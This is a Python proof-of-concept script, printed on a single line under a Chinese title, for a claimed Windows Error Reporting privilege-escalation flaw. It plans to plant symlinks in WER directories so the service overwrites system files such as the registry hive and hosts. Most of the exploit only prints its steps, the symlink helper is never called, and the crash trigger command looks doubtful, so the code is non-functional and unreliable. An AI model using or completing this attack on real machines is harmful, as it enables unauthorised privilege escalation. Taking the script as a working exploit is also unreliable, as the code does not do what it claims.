CVE-2026-20817 Windows Error Reporting权限提升漏洞

# CVE-2026-20817 PoC - Windows Error Reporting Privilege Escalation # This PoC demonstrates the symlink/hardlink attack vector # Author: Based on vulnerability analysis # Note: This is for educational purposes only import os import sys import time import subprocess import shutil from pathlib import Path def create_symlink_attack(target_file, link_path): """ Create symlink to redirect file operations """ try: if os.path.exists(link_path): os.remove(link_path) os.symlink(target_file, link_path) print(f"[+] Symlink created: {link_path} -> {target_file}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def trigger_wer_report(): """ Trigger Windows Error Reporting mechanism """ wer_dir = Path("C:/ProgramData/Microsoft/Windows/WER/") wer_dirs = ["Archive", "ReportQueue", "Temp"] for dir_name in wer_dirs: dir_path = wer_dir / dir_name if dir_path.exists(): print(f"[*] Found WER directory: {dir_path}") # Trigger crash to generate error report crash_code = "0xDEADBEEF" print(f"[*] Triggering application error with code: {crash_code}") # Force Windows Error Reporting try: subprocess.run(["wer", "fault", "/event", crash_code], capture_output=True, timeout=10) print("[+] WER report triggered") except Exception as e: print(f"[*] WER trigger attempt: {e}") def exploit(): """ Main exploitation function """ print("=" * 60) print("CVE-2026-20817 - Windows Error Reporting EoP Exploit") print("=" * 60) # Target: WER directories with weak permissions target_dirs = [ "C:/ProgramData/Microsoft/Windows/WER/Archive", "C:/ProgramData/Microsoft/Windows/WER/ReportQueue" ] for wer_dir in target_dirs: if os.path.exists(wer_dir): print(f"\n[*] Targeting: {wer_dir}") # In real attack: create symlinks to system files # Then trigger WER to overwrite them symlink_path = os.path.join(wer_dir, "malicious_link") # Example targets for privilege escalation: # C:\Windows\System32\config\system # C:\Windows\System32\drivers\etc\hosts # C:\Windows\System32\spool\drivers\color\*.* print("[*] In production exploit:") print(" 1. Create symlink from WER temp file to target system file") print(" 2. Trigger application crash") print(" 3. WER service writes to symlink target") print(" 4. Gain elevated privileges") print("\n[*] Exploitation requires:") print(" - Low privilege code execution on Windows") print(" - Write access to WER directories") print(" - Ability to create symlinks (requires SeCreateSymbolicLinkPrivilege)") print("\n[!] This is a proof-of-concept for vulnerability analysis") if __name__ == "__main__": exploit()